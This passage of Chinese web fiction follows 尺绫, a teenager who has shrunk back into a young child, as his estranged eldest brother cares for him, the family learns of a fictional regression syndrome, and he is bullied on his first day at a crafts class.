他去帮尺绫收拾衣服,动作别扭中夹杂着熟练。尺言几乎把所有东西都准备好了,只需要挑拣一下,尺平没办法,装模作样地选了选,尝试归功于自己。
浴室不大,尺平一进来,一大一小共处一室,他放下衣服,突然就不知道该怎么进行下一步了。
“那个,”尺平嘶一声,不知该从何处提起,拿起花洒,“热水我已经调好温度了,你看好,是这样用的。”
“昨天哥哥教了。”尺绫声音小得跟蚊子一样。
这一句打断让尺平彻底无处遁形,他停下正欲教学的手,假装若有所思地点两下头,然后起身出去。
关上门的那一刻,几种情绪同时朝他涌来,顶得眉头一酸。好吧,他不得不承认,自己的存在于尺绫来说几乎毫无用处。
他在外面立着,深呼进去一口气,憋着抬头看天花板,双手叉腰身子微微后仰。寂静的房间环绕思绪,让他更加意识到事实如此,太阳穴便隐隐作痛。
虽然是家里兄弟最年长的那个,同辈来说,对比于自己,尺言似乎更像是弟弟公认的家庭长兄,面面俱到、事事关心,担起大部分责任。尽管在那几年,他和尺言都在同时照看年纪相仿的孩子,干差不多的事。
他自己大多数时候,基本都游离于这以尺言为核心的家庭之外。这其中当然有血缘亲疏问题,但更多是性格不合导致的刻意保持距离。
他有时候会怀疑是否自己端得太高,但一旦浮现出拉近亲缘的念头时,一切想法都烟消云散。
只不过短短两天,自己就陷进去了。他反思着自己,是否把这件事太当真,当事人自己也未必在意,甚至有过界的嫌疑。
门咔哒声响,缝里冒出雾气,伸出一颗小头颅。尺绫发尖湿湿的,脸蛋烘得白白的。正在反思的尺平互感背后热气,吓一大跳,转头看见弟弟。
所有替自己不值得的思绪在一瞬间收束,他保持镇定:“怎么了?”
尺绫裹一条小浴巾,低头,露出后颈和头发,“我看不到头发的泡泡。”
尺平一愣,松开叉腰的手,刚迈步的时候顿住,停下来摘下眼镜,再把门关上。
尺绫似乎习惯有人给他洗头,他弯腰低着头,安静等待着温水的冲洗。
熟悉感回来,尺平打开热水,他很久没这样做过了。距离上一次还是七八年前。
原本其实已经很干净了,尺平还是给他冲了一遍,连着耳朵缝一起清理。顺手拿一条小毛巾,给他包上,这件事有经验,倒得心应手。
洗漱完毕后,他领着尺绫出去,拿起吹风机给他吹头发。
吹风机呜呜地狂啸,尺绫的湿发逐渐变成软发,在空中蓬松起来。
尺绫任由热风狂吹,不少根吹落的发丝缠绕手指,还沾在衣服上。他呼呼吹两下,热风又把发丝吹到他的嘴边。
吹风机一关,聒噪的室内立马安静。尺平把尺绫赶上床,“好了到点了,快睡觉。”
尺绫爬到被子里面,尺平帮他弄了下被子,正准备往外走,尺绫露出半颗头,眨好几下大眼睛:“不讲故事吗?”
这声音夹杂祈求,尺平心口突然一软,像被羽毛裹住,回头,重新坐下来,拿起床头的故事书:“你要听什么故事?”
尺绫捏着被子,往里面缩一点点。见没回答,尺平整理故事书,随便翻开一页,开始念起来。
没讲多久,尺绫就动了动,鼻息声轻缓地睡着了。
尺平合上故事书。
他没有像往常一样立马离开,而是翘起腿,目光下视睡着的尺绫。
他这两天一直在想,尽管自己有带小孩的经验,但在关系不好的弟弟面前,还是放不开,内心的情感居然差别如此之大。
他一开始还以为是性别有关系,几次相处下来,他不得不承认大概率是因为心理门槛和偏见。直到今天晚上,相处状态才真正松懈下来。
和尺绫这个弟弟相处,没想象中那么困难。其中虽然有对方重返幼龄的缘故,尺绫从小到大
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,本性温和善良,缩小后也算天真可爱。
以前的那个长长瘦瘦的弟弟面庞,似乎在印象里逐渐模糊,这点令他警醒。
他轻轻关上门,嘴角不自觉弯了弯。
重新回到客厅,妻子瞥见他的表情,问:“什么事这么开心。”
尺平重新戴上眼镜,刻意压嘴角,假装无事发生地几步走过,手插着口袋,往窗外看看。
外面没什么风景,只有净一色的树林。他却看得滋滋有味,嘴里舌尖打圈,不断回味着刚才的喜悦。
“你之前说,”他突然想起,“他出国读一年要多少来着。”
妻子笔哗哗改着试卷,重复道:“你给预算是一百万。”
“包生活费吗?”他追问。
妻子没看他:“你自己不知道吗。”
这句话把他的问题都拦住了,他感觉出妻子对自己的不耐烦,插着口袋继续假装看风景。
这种自知理亏的停顿,在几分钟之后被想法打破,尺平说:“要不还是在国内读吧,”一秒钟后他又问,“国内能捐楼吗。”
妻子被他气笑了:“他自己能考,他比你脑子好使多了。”
妻子是弟弟的老师,比自己要更了解尺绫,尺平若有所思地点点头,没反驳,继续看树林。
虽然看着树林,他却思绪又飘到尺绫身上,想着尺绫要是在国内读,肯定花不了这么多钱,那不如买栋别墅送他,或者给他点公司的股份。
听到丈夫这十分天真的想法,妻子毫不留情地指出:“人家稀罕你这点东西吗。”
尺绫虽然在家没房间,却实打实从尺言处拿了间小别墅,人家外公家还是做奢侈品的,全球生意,市值比尺平那小公司高多了。
钱和车房人家都不缺,甚至人脉权利尺言要比他广多了。尺言亲手养大的弟弟,真看得上他这个便宜哥哥的三瓜两枣吗。
尺平百感交杂,吁一口气,妻子百忙之中,继续指出根本问题:“我说你是上头了,只是觉得新鲜,跟家里多了只小猫小狗没什么区别。”
他拿起泡好的茶,准备递到嘴边。听到这番评价,茶杯径直在半空顿住。半晌,才继续动起来,抿一口。
妻子目光很锐利,可能是旁观者清,也可能是太了解自己了。他进入反思,冷静下来,确实打消掉一点过于夸张的热情。
他拿起小马包,坐到沙发上看一下,翻到背面,又翻回正面。妻子没再理他。他看栗色小马。
他开始思索,尺绫为什么喜欢这个包。两只手抓住包,缓慢地翻动好几遍。
那小马确实长得挺可爱。
他回想今天在商业街动的时候,买下这个包,自己倒不是真有多想关照弟弟,更多是从减少麻烦的出发点起步的。
当时买下来,他也许该说多两句话,也许该多关注尺绫情绪。回想起来,确实后知后觉,没怎么真正上心。
下次有机会,应该能做得更好点。他想着,放下弟弟的小马包。
也许在明天,也许在后天。
5. 新童年
尺言出差回来后,尺绫就一直黏着这个熟悉的哥哥,十分亲昵密切。
尺平当然有落差,遐想的计划还没实现,劲敌就再度出现。自己没有正当理由可以插手管这个弟弟的事,大概不过几日,就会又疏离起来。
尺绫坐在沙发上,电视传出动画片的音乐声,画面五彩斑斓。他不断拉合小马包的拉链,捏着小马包的耳朵,爱不释手,每天都要拿出来抚摸一下。
电视的主角哇一大声,尺绫的注意力被吸引一秒钟,抬头看一眼,又低头。
他不断重复塞东西,取东西,开关拉链的行为,尺平状似无意地坐在一边喝咖啡,实际目光偷瞥着这个弟弟。
他一开始为尺绫的爱不释手沾沾自喜,长达近二十分钟的拉链声响后,他终于意识到不对劲。尺绫这种钟情大概率出于自身的刻板行为。
厨房里传来炊具碰撞声,两人正在准备午饭,林梓往外走,尺言道:“老三他说今天中午回来吃饭。”
出差这段时间,尺言憔悴了一些,估计是远在外地日思夜想弟弟,心头一直悬着,回来后才定下心来。刚回来,放下行李,逗了两下尺绫就显示疲态,直接进厨房帮忙张罗午餐。
林梓收到消息,出去买几个加餐。总之手脚是没停下来过。
这种情况于情于理,尺平也应当帮个忙才对,他犹豫,是否要主动迈出这一步,听到厨房碰撞窸窣声,刚飘起的想法又烟消云散。
他就没做过饭给别人吃,只有别人帮他准备饭的份,他的妻儿除外。
半个小时后,尺言逐渐往餐厅端菜,尺平终于找到事干,放下手上的书,起身整理一下衣襟,往尺绫走去。
尺绫此时正痴迷望着电视,五彩斑斓花花碌碌,好似包上的小马镶进屏幕了。
尺平手往他肩膀靠了靠,“吃饭了吃饭了。”
被打断的尺绫抬眼,停止对电视的痴迷,从沙发挪下。尺平摁他肩膀,“洗手。”尺绫一下子就从他手下滑走,小跑出去。
尺平看他背影,电视还在放着卡通,他转头去看,弯腰拿起遥控器关掉。
尺绫自己挤泡泡,打开水龙头,搓干净,又关上水龙头。
到餐厅的时候,踮起脚尖,看见桌面上摆好几道他喜欢吃的菜。他又开始小跑起来。
尺平只觉得无奈且好笑,这个弟弟倒不是个完全不活泼的人。他帮忙摆了摆周围的凳子,坐下准备用餐。
尺言正走进来,放下一道菜,见尺绫问:“你坐哪啊?”
尺绫的小跑没有停下。“你要跟我坐吗?”尺言又问。
尺平见没回答,心中有些什么作怪,竟然察觉到一丝古怪的暗喜,这是个机会,于是出声道:“他这两天都坐我身边,他要是想的话,就跟我坐吧。”
尺言没应答他,只是放下菜,继续去厨房忙碌。
林梓已经收拾好厨房残局,没两分钟,就都出来了。
这时候到了真正吃饭的时间,尺绫停下他的奔跑,驻足抬头望。明明是很轻松的氛围,大家的话语间也表露出随性,尺平的心却突然提了起来。
“老三还有多久回来啊?”
“他说快了,不用等,十分钟左右。”
话语声正在餐厅之上穿梭飘荡,最矮小的尺绫望望尺平,又望望尺言。
尺平余光瞥着,一瞬间呼吸停滞,心口像是压着一块大石,几乎屏蔽了他的理智。他想,他已经犹豫了,他会到自己身边来的。
尺言在与林梓的闲聊中准备坐定在位置上,尺绫就小跑过去到他身边,拉开一张椅子,挤进林梓和尺言两人的中间。
“……”
尺平的心直直砸到硬石上,变成一滩血,他深呼吸一口,自己给自己倒了杯红酒,试图把血迹掩埋。
今天的红酒涩味有点重,他抿第一口就下意识蹙眉头,还不滑,连香味都散了。
正是此时餐厅门突然作响,一个人进来,众人皆抬起头。
“嚯,这么快。”尺言帮尺绫调好座位,坐下来。
尺尚走进餐厅,脚步利落中带着点匆忙。尺平抿嘴放下酒杯,往椅子背后靠,克制住进食的念想。
林梓也坐下:“刚刚好,快来。”
尺绫已经顾不得这个哥哥,顾不得桌面礼仪,坐好在椅子上就伸勺子去舀沙拉,甘蓝丝不断掉落,到面前的时候就只剩下一两根了。
尺言拿过他的碗,划拉小半碗,还舀了几个小番茄,熟稔自然地问:“怎么提前回来了,实验室没事做了吗,稀奇啊。”
尺尚脱掉外套挂在衣帽架上,指了指尺绫:“他症状查到了。”
尺言挑眉,竖起耳朵。林梓听见,拿起的筷子停在半空,又聚精会神地放下来。
尺尚坐下来,拿起刀叉,开始说:“可能是‘身体机能退行综合症’,国外有过病例,但目前没有治疗方法。”
尺言:“病例现状呢?”
尺尚:“死了。”
小尺绫还在玩餐盘上的西蓝花和小番茄,其他人看他一眼,纷纷缄默。
这种病的诱发原因不明,但患者一般都有糟糕的创伤经历。目前主流观点是,由长期心理推行导致的生理退行,而至于突破常理的原因,则向神学或维度去了。
尺言抱起尺绫,哄道:“倒是什么好事都让我们尺绫遇上了。”
“上不上学。”他问尺绫。
尺绫没回。他正专心致志。
这类突如其来的逆生长,并不算一件好事,但对尺绫来说也不算一件坏事。起码他现在就天真活泼许多,脑子空荡荡的,不需要承担也不需要想太多。
“真没有恢复办法吗?”林梓关心问。
“等研究。”尺尚夹起一块鸡扒,答道。
国内原本没有研究这个的,现在有了,尺尚要换成这个方向。但可惜,不知道需要多少年,可能等研究透的时候尺绫已经重新长成十七岁了。
尺绫捏着哥哥给他拿的餐盘装饰物,手上沾到料汁,但他丝毫不在意。
林梓还在追着一些细节问,譬如一直保持这样,亦或者是身体会不会有重大问题,需不需要和国外联系。
而本该最焦急的尺言此刻却没什么表示,只是像坦然事实一样大方接受,像事不关己一样抱着尺绫,继续又问:“你去不去兴趣班。”
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尺绫还是没回,但他把西蓝花举到哥哥眼前,展示给他看,又迅速回到跟前,手指小心翼翼触碰上面的颗粒。
尺言抬头:“把他送去上学吧,反正快开学了,正好上小学。”
林梓有点犹豫,但没立即反驳,只是提出:“九月份才开学,我是能搞定,但期末还没考完,这两个月还要人带。”
尺言干脆利落:“那就报个兴趣班,反正不要让他闲着,保持社会化。”
这句话一出,空气中顿了半晌。尺平听出言外之意,社会化只是一个幌子,实际是没人有空带。论起时间,这里每一个人都能抽空轮流带,也不会到不乐意的地步。
不好说,尺言是不想将弟弟交给其他人,还是对此已感到厌烦。碍于对方想法,尺平拿起红酒杯,压住话头没出口。
没人再接话,只剩下飘荡在空中细碎的咀嚼声。这件事似乎就这么定下来。关于尺绫的事,几乎都是他这个哥哥在管理,掌握着极致的决定权,大家没有提出异议。
鸡腿肉还剩两块,尺绫拿起勺子,想要去够。
尺言直接将鸡腿肉的盘子换到他面前,让他够个够。
尺平扶扶眼镜,觉得这种方式不太妥,应当引导他说出需求而非直接满足。很明显,尺言已经充满疲惫,失去耐心。
他有在一瞬间想提出,但鉴于利害关系,他不给自己找麻烦,用餐巾纸抹手停止进食。
这算是情有可原,他看着尺言喝橙汁,开始审视。亲手带大的弟弟一转眼又回到原来模样,在最宝贵的青年时期,所有的精力都要灌注给这个麻烦。再有耐心的人,相处久了都有怨言。
他又反思自己,这几天对小尺绫的喜爱仅仅是一时的,图新鲜的,跟家里多了只小猫小狗没什么区别。他不该去苛责对方。
吃完饭后,尺言倚在客厅沙发上,搜寻兴趣机构的信息了。
尺绫在他身边看电视。
大概是找了个什么做手工的,林梓在一旁喝着茶,听了,问怎么不报个什么编程啊钢琴啊,学个技能陶冶一下情操。
尺言说:“他不是唱歌的料子,做手工就挺好的,适合他。”
尺绫没有表态,事实上他正痴迷地看着电视,对于身上的安排一概不知。
尺言给他连报两节,一节做手工,一节画画,每节90分钟,基本白天就耗兴趣班里了,只需要接送就好。
“你自己坐公交好不好?”尺言随口问。
尺绫没有回答。
兴趣班报完,连钱都交了。下个星期一就开班,尺言把弟弟丢到机构去,获得一身轻松,心情都愉悦许多。
关于“身体机能退行”这个症状,他估计长期要和三哥联系,定期配合研究调查。
尺言:“多好,小学大学一起上。”
电视里的动画片在做着一些尺绫无法理解的动作,小兔子追赶老虎,熊猫钓鱼,绿色蛇要绊倒小松鼠,但他依旧看的很痴迷。
还没数清楚刚刚出场的角色,画面突然一收缩,变成滚动的一行行看不清的字,片尾曲应声而起。
如此,尺绫便在动画片的片尾曲中,迎来了他的全新童年。
6. 兴趣班1
尺绫在家算是乖巧听话,毕竟安静的小孩就是好小孩,更不用说他这种给一个小垃圾就能坐沙发上玩一天的儿童。
可惜时光转瞬即逝,这种打发时间的日子一眨眼就过去,他到了该去上兴趣班的时候。
前一天晚上尺言就开始给他打预防针,叮嘱好几回,说什么明天要出去上课,让他自己收拾好要带的东西。
尺绫一开始无动于衷,直到后面哥哥重复第三次、第四次,尺绫才听入耳朵里,按照指示好好收拾自己的背包。
他把林老师给他买什锦水果糖,挑出粉色黄色还有绿色各一颗放在最外面的小口袋。想起哥哥说的会有其他小朋友,他就拿出最不爱吃的尺平买的酸味长虫糖,数二十条放进书包夹层。
他感觉应该要和小朋友们交朋友,这样就能打好关系,打好关系需要对他们好。他依稀记得哥哥以前是这样说的,只不过记忆模模糊糊。
哥哥上班前说明天早上十点钟,会把他送过去兴趣班,在那里会有老师和他们吃中午饭,午休结束后,哥哥会过来接他。
哥哥还尝试问他要不要自己坐公交车,尺绫故意不回答,他已经忘记怎么坐公交车了。
睡了一个觉,他很早就起床。尺言一般不在家睡,他在市中心有一套公寓,于是尺绫坐在沙发上抱着小马包等,他晃着两只脚,看看窗外又看看移动的钟表。
九点半,哥哥终于来接他了,尺绫爬上他的车。
哥哥的车一路往市中心行驶,尺绫趴在窗玻璃上,看见倒退的树影,看见飞驰而过的少年宫,还看到印着各种图案的牌子,他有点开心。
十点钟,车停在一栋白色房子前。
白色房子的门口上,写着“白翅膀艺术中心”,从玻璃门可以看见,里面的灯光是米黄色的,墙上有很多图案。音符、小蝴蝶、还有跳舞的兔子。
哥哥牵着尺绫的手,推开门,尺绫抓紧自己的小马包。
一个扎马尾辫,头发很长的女老师笑着上前来,气质很亲切温柔,尺绫没那么害怕了。
“你就是尺绫小朋友是吗?”
与其说是兴趣班,不如说是一个类似幼儿园的托管机构。不同的是这栋白房子一边接收的是8岁以下的小朋友,一边接收的是小学的兴趣生,两种生意都做。
哥哥让他好好跟着老师,有问题打电话给自己,尺绫再次攥紧一下小马包。
哥哥转身离开,门还没关上,老师就牵着他进入右边的走廊。尺绫一边回头一边被牵着走,但很可惜,一拐角,他什么都看不到。
他很快注意起走廊上的布置,光线很亮,墙上挂着一些充满童真的画。有很多玻璃门,里面是一个个宽敞的房间,有不少小朋友大朋友坐在椅子上。墙壁也是米白色的,像蛋糕上的奶油。
尺绫一直攥紧小马包,他对即将发生的事并不好奇,更多是对新环境的紧张。
他的心好像有一匹小马冲来冲去跳来跳去,走廊上总有什么东西勾引着他放松下来。
“好了,我们到了。”
老师温声说,她推开门,让尺绫先进去。尺绫迈进一步,就看到其他小朋友,他们都排排坐在桌子边,齐齐向门口望来。
一共有15个小朋友,尺绫想,老师关上门,把他带到他的位置。
他坐在桌子的第一个,只有左手边有一个小朋友,是女孩子,用彩色发绳扎两条小辫子,她看着尺绫的头发,好奇地问:“你是男孩子吗?”
尺绫没有回答,因为老师说话了。他把头转过去,老师拍拍手,道:“好了小朋友们,我们这个班所有小朋友都到齐了。我是你们的兴趣班老师,我姓白……”
“你们看到坐在教室里的,就是你们的同班同学,我们要一起上十五节手工课。那我们先花一点点时间,来进行一个自我介绍吧。有小朋友想先来吗?”
小朋友们你望望我,我望望你,已经有按捺不住的,有胆怯害羞的。尺绫看这场面有点茫然,他很努力听,但还是没弄懂接下来要干什么。
“有勇士吗?”白老师再次鼓励。
一个模样较活泼顽皮的小男孩,举起手,从座位上弹跳起来。他跑到老师身边,站在小讲台上“大家好,我叫昊昊,上面一个日下面一个天。”
说着,他就拿起马克笔,在白板上写下自己名字,“我今年7岁了,马上就要上一年级。”
老师带头鼓掌,底下的小朋友跟着大声鼓掌,尺绫看看其他人,也拍拍手。他只拍两下,大家的掌声就结束了。
接下来是一个小女孩,一个小男孩,又接连两个小女孩。他们都各自介绍了自己的名字,年龄,有的还介绍兴趣爱好,表达想和大家交朋友的意向。白板上逐渐写了很
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多小朋友的名字。
手边的小女孩悄悄问他:“你还不上去吗?就剩几个人了。”
尺绫突然被人问话,愣住没有回答,小女孩怕自己是最后一个,于是在上个小朋友还没下台时,就焦急地准备随时举手。
老师一发号施令,她的手臂便一下子弹出去,尺绫的耳侧听到“倏“一声,连耳畔头发都被掠起来。
女孩上台,先是写下名字,然后介绍自己道:“大家好,我是李悠悠,我的家住在丽晶花园,我今年7岁。我的爱好是唱歌,拼图。我家里有四口人。我的梦想是成为一名医生,因为能帮助别人。很高兴来到这个手工班。谢谢。”
经过一次又一次的自我介绍,大家提出的点越来越多,从一开始的姓名年龄,再到后来的家庭职业、兴趣爱好、未来梦想……大家的自我介绍跟叠方块一样越变越长。
在同桌的提醒和鼓动下,尺绫终于像其他人一样举起手,还没来得及适应,老师就邀请他:“好的,这位小朋友。”
尺绫像同桌一样走到讲台上,面对小朋友们,但他不想看着各位的眼睛。老师引导:“好了,可以开始了。”
尺绫意识到,自己要和其他站在台上的小朋友一样说话,格式是:大家好(面向大家)+我是XXX(拿起笔写名字)+我几岁(面向大家)后面的尺绫就忘了。
他开口,声音有点小:
“大家好,我叫尺绫。”
他像其他人一样转身拿起笔,面向白板,高高地举起手。他写下自己的名字,但和其他人的有点不一样。写到一半,自己发现了这个事,他停下来。
底下的小朋友窸窸窣窣。
其他人的都是方块字,一粒一粒的,但尺绫写的字却是一条一条的,看不清楚,大家也不认识。
他使劲想,在旁边写下一个方块字“尺”,但他想不出“绫”怎么写,老师看出他的停顿,接过笔道:“这个白板太高了,其他位置都写满了,让老师来帮一下你吧。”
老师端端正正地在最上面帮他写下名字,底下的人才看清楚,原来真的是很复杂的字,“好了,继续吧。”
尺绫只好再次面向大家,底下的小朋友目光都盯住他,集中在他身上。他有些踌躇,捏着自己的衣角,两只手缠绕在一起,讷讷道:
“大家好,我今年十七岁。”
7. 兴趣班2
听到尺绫说自己十七岁,底下小朋友纷纷抬起头,嘴巴张成O形:“啊?”
他们面面相觑,以为自己听错,很惊讶,七嘴八舌替他纠正道:“是七岁吧,”
这么小小的人,怎么会是十七岁呢,一定是为了装酷才乱说的。
尺绫听到小朋友们的议论,手指缠绕得更紧,像密不可分的弯钩。他咬着嘴,不知道该说什么。
老师及时出声,弯腰,温柔询问他:“是七岁是吧,我们的尺绫小朋友。”
尺绫知道自己说错话,于是点点头,承应下来,底下的喧哗才平复。
自我介绍顺势结束,老师率先鼓掌,其他小朋友也跟着走流程为他鼓掌,尺绫下台坐回座位上。他一共就说了两句话、十六个字,其中还重复了两次大家好。
这显然不是一场精彩的自我介绍。身旁的女生凑头好奇问他:“你不会说普通话吗,怪不得你不和我说话。”
尺绫还没回答,女生就转过头去给其他同学鼓掌,一句话也没对上。
他有点郁闷,也许该斟酌一下再上台的,现在弄得一团糟。但很快,这份情绪随着老师的授课开始,逐渐消失殆尽,像水里的泡泡破了,好似从来没存在过一样。
每个小朋友都领到了彩色卡纸和胶水,尺绫的是卡其色的,像哥哥冬天的大衣。老师清清嗓子,接着出声:“我们今天这节课,来做一个DIY纸笔筒,大家知道笔筒是什么吗?”
底下的小朋友马上都要上小学了,要学会读书写字,当然知道笔筒是什么,异口同声回应:“知——道——”
老师满意地点点头,举起手上的卡纸,展示道:“你们看好,我们手上有一张卡纸,上面是不是有黑色线?”
“这样,再这样,把这个角粘到这里,我们的笔筒是不是就做好啦?”
老师拎起装饰材料,在笔筒边上比划,“然后就可以用各种材料装饰,制造一个属于你们的,独一无二的笔筒了。”
材料很丰富,有亮晶晶的珠片,有干花,有编织的小图案。四个人用一组材料,大家都把想要的先抢回去。尺绫惘然,还没授课中回过神来,材料就被一抢而光,只剩下些零碎的小花小草。
他看看别人的动作,再看看自己的纸片,拿起一把小剪刀,开始按老师教的办法裁剪起来。
他做得很慢,也很认真,粘贴的次序也是左上左下、右上右下,和老师教的一模一样。
其他小朋友叽叽喳喳,自言自语或是讨论着要怎么设计。尺绫坐在最边上,本就没有同桌,女生也不和他说话,于是他只能安静。
旁边女生把纸笔筒粘满水钻,还有蝴蝶贴纸、珍珠,非常华丽。尺绫看看自己朴素的笔筒,看看面前的材料,拿起一朵粉色的小花。
老师查看小朋友们的制作过程,上手帮忙,提出表扬。她夸赞了部分小朋友富有创意的DIY,被夸赞的小朋友,将会得到老师在家长面前的专门赞美。
尺绫没有抬头看,他正准备贴小花,老师却到他的身旁弯腰。尺绫一点都没注意到,老师却突然拿起他的笔筒,高高举起:
“大家看尺绫小朋友做的笔筒,粘贴得非常棒,很细心,简直比我示范的还要好。”
笔筒回到尺绫手上,其他小朋友投来羡慕的目光。他全然没注意到,只专心致志地贴了三朵小花,第一堂课就结束了。
老师宣布在午饭来到教室之前,大家可以去上厕所,可以聊天喝水,小朋友们开始相互说话,教室里吱吱喳喳:“你叫什么名字啊?”“我知道你叫什么。”“你在哪个幼儿园呀?”
没有人和尺绫说话,尺绫就坐在座位上。几分钟后,他想起些什么,从小马包里拿出一颗水果糖。
“他是不是不会写自己名字啊。”几个人看着黑板上的名字,偷看一眼尺绫,又围在一起议论,“不会真的有人不会吧?”
“我爸爸妈妈会教的,我上中班就会写了。”他们对比着,像科学家一样研究样本,最终提出,“要不要去问一下他呀?”
尺绫正拆着糖果纸,其他人围上来,他抬头:“?”
小朋友们见他抬头,最勇敢的那个,犹豫两步,叉着腰上前来发出第一个质问:“你写的是什么字呀?你在哪个幼儿园呀?”
尺绫被问懵了,愣愣看着连糖都忘记吃,更别说回答问题。
女生们在远处往这边瞥过来,见到围在一起的男生,萌发好奇,开始小声讨论:“那个尺绫真的是男孩子吗,他头发好长呀?”“他好奇怪。”“可是他长得好好看啊。”
女生们看这场面,再次评价。
“他都不理人。”
“他好高冷。”
老师问还有没有人要去上厕所,马上就要吃饭了,尺绫立马从座位上起来,前往洗手间。
逃离人群后,尺绫才觉得耳朵安静下来,变回咕咚咕咚的煮粥声。刚才好多个小朋友同问他问题,耳朵边尖锐得像放一台抽风的空调,极度刺耳。
来到洗手间,尺绫看到标识,选择合适的进入。
这里的厕所设计之时,就考虑了孩子的大量使用。不仅氛围可爱,而且设施更注重细节,对小朋友们来说非常方便。
里面有一个同班级的小朋友,尺绫认识对方的脸,却没记住他的名字。他下意识低着头颅,闷声往里面走
对方看见他逃避的意图,命令道:“喂,你停下。”
对方是班上最大的孩子,年龄九岁,身材比其他人都大一码。面对面的时候,显得有一些压抑可怕。
“你是不是叫尺绫?”对方命令问。
对方有些居高临下,尺绫轻轻点头,发出微小的嗯声。对方叉着腰,“大声点!”
尺绫没有动作,对方立即伸出一只手指,在他头顶上晃,斥责道:“你不会写自己的名字,连话都说不清楚。你是不是有毛病?”
尺绫不知道,他也许是有病的,但他现在有些不知所措。对方声音更大,更加严厉了:“我问你,你到底多少岁啊?七岁、八岁、还是三岁小孩?”
尺绫想起自己说的十七岁,有点委屈。可他还是按照老师的说法,小声回答:“七岁。”
“你别装了。”对方号叫,“你今天在台上明明说的是十七岁,你肯定是为了装酷才这样说的。没有人会相信你的鬼话,你真是个小丑。”
尺绫很害怕,眼前的小朋友面目狰狞,声音高得像一把刀,随时要刺破厕所的玻璃。
对方举起拳头,要往他脸上挥舞,尺绫害怕地后退一步,别过脸。
拳头停在他面前,尺绫看眼前的小朋友,对方怒目圆睁,咬着牙说:“下次让我再听见你乱说话我就打你。”
尺绫难过,眉心蹙起。对方哼一声,见如鹌鹑一样的尺绫,评价:“你真是个怪咖。”
上完厕所后,尺绫回
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到班级,老师已经在派发午餐的盒饭。
而刚才那个堵住他的大孩子,现在正在群人的讨论之间,骄傲地说着:“哈哈,你们的爸爸妈妈都没有我厉害,我爸爸是当警察的。”
尺绫回到位置上,去领自己的饭,拿起勺子埋头吃起来。
烧土豆和酱油鸡翅明明都是很好吃的菜,他却没感觉到多少味道,好似被水洗过一样。
后面的午休,他都不太记得了,时间就这么稀里糊涂过去。恍他好像又听到小朋友们在讨论他留在黑板上的半个名字,“他肯定是不识字”“太奇怪了,这是一文盲”“好笨啊,我才不要和他玩”……恍惚之间,哥哥就来接自己了。
老师对哥哥夸他今天表现很好,还详细说了午饭吃了什么。尺绫背着小马包,手被老师牵着,脑子像蒙上一层雾,眼前永远是晕开的视野,对不上焦。
老师和哥哥交接,哥哥的手接替,牵上尺绫。尺绫才稀里糊涂,像一个气球一样,被哥哥牵着回到车上了。
门关上,隔绝外界,吵闹声一瞬间消失殆尽。
车里有阴影,太阳光不猛烈,眼前恢复清晰。尺绫逐渐感觉到世界在运作。他的的记忆上来了,像被点亮的灯。
“你今天上课怎么样啊?”他听清楚哥哥的每一个字,每个字连成问题,钻入他耳朵里。
尺绫把自己不会写自己名字然后被同学嘲笑这件事告诉了哥哥。哥哥听完,下意识一拍头,无奈闷声、自责道:“诶呀,忘记教你写名字了。”
尺言的手在转方向盘,眼睛望的不是自己而是后视镜,尺绫意识到对方并不在全心全意倾听。他有点失望,重新坐好,低下脑袋。
明明不是写名字的问题。
尺绫翻自己手指。
名字有什么好写的。
他会写自己的名字,但他只是把怎么用方块字写自己名字忘了而已。
哥哥没注意到这个点,反而觉得是自己不会写的问题,他有些赌气,不高兴。接下来在车上,他一直都没有跟哥哥说话。
两人很快回到家,今天的兴趣班结束了。他虽然一直黑着脸,但大家一如既往地忙碌,并没有因为他的不说话而特意关注。
哥哥更是忙得脚不离地,没空看着他。更别提注意到他的情绪了。
到底为什么。尺绫感觉自己非常不开心,他明明不生哥哥的气,但他就是不开心。
他第一次感觉自己词语贫乏,为找不出这个难受的原因而火急攻心,他眉头蹙得重,整整一个下午,还是没有展开。
时间在闷气里快速流逝,没过多久,大家就吃起晚饭。尺绫坐到饭桌上,仍旧心不在焉,在思索着什么令人费解的东西。
哥哥给他舀了土豆丝和西蓝花,还浇上他喜欢的汁水,他却没怎么动勺子。
“不吃吗?”其他人终于关注他的动作。
哥哥问:“怎么了?”
尺绫一个字都没有回答,只是皱着眉头。
大家起初还惊讶,后面习以为常,毕竟他生病了,身子缩小了这么多倍,性情阴阳不定,胃口也时好时坏。仍由着他。
尺绫盯着碗里的西蓝花,背景好似晕开一样,时大时小地糊成一片——他终于想明白那是什么。
在饭桌上,他突然站起来,拍一下桌子,朝所有因为惊讶抬头望他的人,怒气冲冲地宣布道:
“我被人欺负了!”
8. 不一样
现场鸦雀无声。
无一例外,大家纷纷目瞪口呆,连准备脱口而出的话语,都立马停在喉咙里,愣愣地看着眼前这个小人。
如果换做是以前的尺绫,遭遇上这种事,只会沉默或是不理睬。他从小养成习惯,他爱在这类事上花时间,知道孰轻孰重。
但眼前这个是,缩小版尺绫,已经和大尺绫不一样了。这件事,对小尺绫来说就是很不高兴,他不能压抑自己,顾全大局。
小孩就是有特权,就是能发脾气!
尺绫环视现场一圈,大家都望着他。身旁的尺言,的筷子正停在空中,目光怔怔落到自己身上。尺绫开始感觉有一点不自在,两人眼神碰撞,哥哥才放下筷子,有所动作。
就算是历经风浪的尺言,面对突然直白发脾气的尺绫,也不由得惊愕——尺绫从小到大,被人欺负没有十次也有八次,这次居然主动开口了。
小尺绫对现场的过分安静不满,问:“怎么了?”
“没有,”尺言夹一筷子菜,简直不可置信地摇摇头,“太意外了。”
简直像变小后换了一个人,性情都不太一样了。这种拍桌喊话的行为,无论是跟以前的小尺绫和还是大尺绫,都扯不上一丁点关系。
“怎么欺负你的?”林老师率先回过神来,及时回应,问。
尺绫重新坐下,咬着嘴,他苦恼,说不出来个前后因果。
可这就是欺负他吧。尺绫忍不住想,嘴皮子快要被咬烂。
尺言推正他快掉地上的碗,督促他坐好,出声道:“先吃饭,边完饭边组织语言。”
没能说出自己想说的,尺绫有些哀怨。他面对着碗闷闷不乐,往嘴里扒饭。
吃了几分钟,尺绫还是按捺不住,再次出声:“他说我写不好名字。”
“那你是不是没写出来?”尺言只夹菜没看他。
这点倒是事实,尺绫无可反驳,撅起嘴巴,好不容易安静三十秒,他立马又想开口。尺言阻止他的发言:“你先把重点提炼好,别东一句西一句。”
“……”尺绫只好闭上嘴巴,他确实没能说出其他东西。
大家发现,虽然他变小之后,还像小时候那样保留刻板和专注安静,但情绪开关明显是放大了,更加敏感且发散。
比如跑来跑去,摸来摸去,还有多次抬头,都显示着他比之前要活泼上一些。
